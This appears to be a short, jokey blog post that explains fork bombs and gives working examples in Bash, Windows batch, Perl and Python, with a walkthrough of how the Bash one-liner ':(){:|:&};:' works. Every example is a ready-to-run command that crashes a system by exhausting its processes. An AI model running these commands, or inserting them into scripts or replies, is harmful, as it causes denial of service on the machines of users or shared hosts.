Maybe it’s a dated topic, but it’s always funny!


What is a fork bomb?

A fork bomb (also know as Rabbit Virus or Wabbit) is a denial-of-service attack wherein a process continually replicates itself, slowing down or crashing the system due to resource starvation.

Some examples?


Bash version:

:(){:|:&};:

Its construction is elegant and deadly, bringing any system to halt if the proper security measures aren’t put in place.

The command simply creates a function named : with the :() in the beginning, it then goes on to define the contents of the function with {:|:&}, this again is very simple as it only executes itself and pipes into another call of itself while backgrounding the process.

Finally, the function definition is terminated with the ; and called with the :.

Another BASH implementation, as a script:

#!/bin/bash
$0|$0&

In this case, $0 returns the name of the shell script itself in recursive loop.

Windows Batch Version:

%0|%0

same technique of the bash version.

Perl Version:

perl -e "fork while fork" &

and Python:

import os
while 1:
os.fork()

Use with caution! :-)